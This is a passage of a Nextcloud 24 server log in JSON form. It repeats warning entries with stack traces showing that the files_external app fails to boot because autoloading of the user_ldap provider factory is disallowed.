:37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"mn3s9YWShujcZHnrjhd2","level":4,"time":"2022-11-09T12:55:41+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/core/preview?fileId=922&x=250&y=250","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"EHkgSSQNbTCdD7tcKvkW","level":4,"time":"2022-11-09T12:55:41+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/core/preview?fileId=921&x=250&y=250","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"GFqDTlENcf98fqq2eY0E","level":4,"time":"2022-11-09T12:56:00+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/ocs/v2.php/apps/spreed/api/v4/room","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/ocs/v1.php","line":56,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/ocs/v2.php","line":23,"args":["/var/www/html/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"RaZhxvjJ1TAeo8Pd7fEh","level":4,"time":"2022-11-09T12:56:04+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/settings/user","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all 